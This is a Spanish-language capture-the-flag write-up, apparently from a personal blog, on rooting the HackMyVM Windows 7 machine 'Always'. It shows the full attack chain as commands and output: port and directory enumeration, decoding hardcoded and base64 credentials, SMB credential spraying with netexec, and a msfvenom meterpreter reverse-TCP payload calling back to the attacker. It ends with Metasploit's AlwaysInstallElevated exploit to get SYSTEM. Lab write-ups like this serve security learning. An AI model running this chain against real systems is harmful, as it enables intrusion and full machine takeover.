cd ~/blog

~/writeups/hmv/136-always.md

136 - Always

easy Windows hmv 15-08-2025
Client-side admin credentialsChained base64 credential disclosureAlwaysInstallElevated Privesc
hackmyvm.eu/machines/machine.php?vm=Always

~1 min de lectura


Enumeramos puertos (Windows 7):

 nmap -sCV -p 21,135,139,445,3389,5357,8080,... -oN 02-targeted.txt 10.214.65.189
...
21/tcp    open  ftp           Microsoft ftpd
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 SP1
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
8080/tcp  open  http          Apache httpd 2.4.57 ((Win64))
|_http-title: We Are Sorry
...

Enumeramos directorios en el puerto 8080 y encontramos un panel /admin. En su código fuente están las credenciales hardcodeadas (validación client-side):

 gobuster dir -u 'http://10.214.65.189:8080' -w directory-list-2.3-medium.txt -x php,txt,html -r
/index.html   (Status: 200)
/admin        (Status: 200)
if (username === 'admin' && password === 'adminpass123') {
  return true
}

Al iniciar sesión recibimos credenciales FTP en base64:

 echo 'ZnRwdXNlcjpLZWVwR29pbmdCcm8hISE=' | base64 -d
ftpuser:KeepGoingBro!!!

El FTP tiene un robots.txt que apunta a una página secreta con la contraseña del usuario always (otra vez en base64):

 curl http://10.214.65.189:8080/admins-secret-pagexxx.html
...
4) Don't forget to change the password for user 'always'. Current password is "WW91Q2FudEZpbmRNZS4hLiE=".
...

❯ echo 'WW91Q2FudEZpbmRNZS4hLiE=' | base64 -d
YouCantFindMe.!.!

Validamos qué credenciales sirven contra SMB con netexec (always falla, ftpuser funciona):

 netexec smb 10.214.65.189 -u users.txt -p passwds.txt
SMB  10.214.65.189  445  ALWAYS-PC  [-] Always-PC\always:KeepGoingBro!!! STATUS_LOGON_FAILURE
SMB  10.214.65.189  445  ALWAYS-PC  [+] Always-PC\ftpuser:KeepGoingBro!!!

Cambiamos el idioma del sistema a inglés y usamos las credenciales de ftpuser para iniciar sesión físicamente en la máquina (RDP/consola). Subimos un meterpreter con msfvenom, lo servimos por HTTP y montamos el handler con auto-migración:

 msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.214.65.50 LPORT=1234 -f exe -o pwned.exe
 python3 -m http.server

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.214.65.50
msf6 exploit(multi/handler) > set lport 1234
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(multi/handler) > run
...
meterpreter >

El local_exploit_suggester detecta AlwaysInstallElevated (las GPO permiten instalar MSI como SYSTEM):

msf6 post(multi/recon/local_exploit_suggester) > run
...
1   exploit/windows/local/always_install_elevated   Yes   The target is vulnerable.
...

Lo explotamos y obtenemos SYSTEM:

msf6 exploit(windows/local/always_install_elevated) > set session 1
msf6 exploit(windows/local/always_install_elevated) > run
[*] Uploading the MSI to ...
[*] Executing MSI...
...
meterpreter > shell
C:\Windows\system32>whoami
nt authority\system

Obtenemos ambas flags.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados